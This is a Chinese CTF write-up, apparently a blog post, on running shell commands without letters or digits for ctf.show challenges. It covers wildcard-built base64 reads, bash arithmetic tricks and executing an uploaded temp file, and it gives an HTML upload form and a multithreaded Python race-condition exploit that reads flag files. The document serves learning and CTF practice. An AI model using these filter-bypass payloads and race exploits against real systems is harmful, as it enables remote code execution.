当前位置: 首页 > ops >正文

无字母数字命令执行

写在前面

说白了数字还是好构造的,bash的算数拓展!

base64命令

这玩意说白了有点鸡肋,因为你得知道flag的文件名和位置!
base64 flag.php这个会将flag.php里面的内容给base64编码输出来。那么如何用无字母数字构造呢?

/???/?[_-{]??64 ???.??? 中间不用?是因为会匹配到两个命令
ls /???/???64 可以发现满足的会有两个

数字的构造bash拓展

$(())里面可以进行整数运算!

echo $((1+1)) #2
echo $(()) #0
0取反为-1
所以我们可以得到-1,通过$((~$(())))

如何构造64,我们可以先取反64,为-65,构造出-65然后在取反即为64!
在这里插入图片描述
额。。。。。前面直接加负号应该也可以。
$((~$(())))*65然后在放进$((~$(())))这里即可!tmd,这md编辑器不太好用。payload就不放了!

在这里插入图片描述
到web29去试试(但是有些环境不知道为啥用不了)

在这里插入图片描述

上传shell脚本执行临时文件

get请求
get请求不需要竞争

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>POST数据包POC</title>
</head>
<body>
<form action="http://05b99b6f-5912-4c98-90d5-2975d8726117.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

先上传一个表单的同时抓包,然后在读临时文件。读取文件就用?c=.%20/???/???[@-[],[@-[]也是linux的通配符表示的方法,@在A前面,[在Z后面。在最后写成大写字母主要是为了怕文件名冲突。shell脚本:#!/bin/sh(或者用其他解释器,bash,zsh) 命令

在这里插入图片描述
post请求
这个就需要竞争了,这里用脚本实现即可(ctfshow新系列的无字母数字命令执行就用到这个)

import requests
import concurrent.futuresurl = "http://e7139a42-6102-4aa6-825e-80292bfb395b.challenge.ctf.show/"file_content = b"#!/bin/sh\ntac flag.php"data = {'code': '. /???/????????[@-[]',
}def upload_file():files = {'file': ('test.txt', file_content, 'text/plain')}try:response = requests.post(url, files=files, timeout=5)print(f"上传请求返回状态码: {response.status_code}")return responseexcept requests.exceptions.RequestException as e:print(f"上传请求失败: {e}")return Nonedef send_post():try:response = requests.post(url, data=data, timeout=5)print(f"POST 请求返回状态码: {response.status_code}")return responseexcept requests.exceptions.RequestException as e:print(f"POST 请求失败: {e}")return Nonedef race_condition():with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:futures = [executor.submit(upload_file) for _ in range(25)]futures.extend([executor.submit(send_post) for _ in range(25)])for future in concurrent.futures.as_completed(futures):result = future.result()if result and "flag" in result.text:print("\n--- 成功!可能找到 Flag ---")print(result.text)return Truereturn Falseprint("正在尝试利用条件竞争,请稍候...")
success = False
for i in range(50):if race_condition():success = Truebreakprint(f"第 {i + 1} 轮尝试失败,继续...")if not success:print("\n--- 所有尝试均失败 ---")
http://www.xdnf.cn/news/20076.html

相关文章:

  • UC Berkeley 开源大世界模型(LWM):多模态大模型领域世界模型技术新进展
  • 鹿客发布旗舰新品AI智能锁V6 Max,打造AI家庭安全领域新标杆
  • keil 5 STM32工程介绍
  • 写给大学生的
  • 【开题答辩全过程】以 在线教育系统为例,包含答辩的问题和答案
  • 从安装到应用:GISBox与GeoServer的关键区别及用户适配指南
  • Gradle Task 进阶:Task 依赖关系、输入输出、增量构建原理
  • 一种用geoserver发布复杂样式矢量服务的方法
  • [bat-cli] 语法映射 | SyntaxMapping
  • 机器学习-决策树(下)
  • 2025年跨领域管理能力提升认证路径分析
  • JSON转义
  • 涉密图纸管理办法| 涉密图纸如何保护?这4个图纸防泄密方法,可以一试!
  • MOSFET SOA曲线评估
  • AI驱动开发:颠覆传统编程新范式
  • swoole 中 Coroutine\WaitGroup 和channel区别和使用场景
  • 问卷系统项目自动化测试
  • OpenCV: cv::warpAffine()逆仿射变换详解
  • 模型剪枝----ResNet18剪枝实战
  • Linux之Ubuntu桌面化操作系统的安装
  • AI生成内容的版权问题解析与实操指南
  • Sunlord破解AI服务器供电难题!揭秘高效、小型化电感黑科技
  • MQTT 认证与授权机制实践(二)
  • 盲盒抽卡机小程序功能版块设计的合理性评估维度
  • ZooKeeper vs Redis:分布式锁的实现与选型指南
  • Vulkan进阶系列11 - RenderPass 设置对渲染性能的影响
  • 批量生成角色及动画-角色动画转化为mixamo骨骼(二)
  • 深入浅出 全面剖析消息队列(Kafka,RabbitMQ,RocketMQ 等)
  • 分类、目标检测、实例分割的评估指标
  • 数据结构基础之队列:数组/链表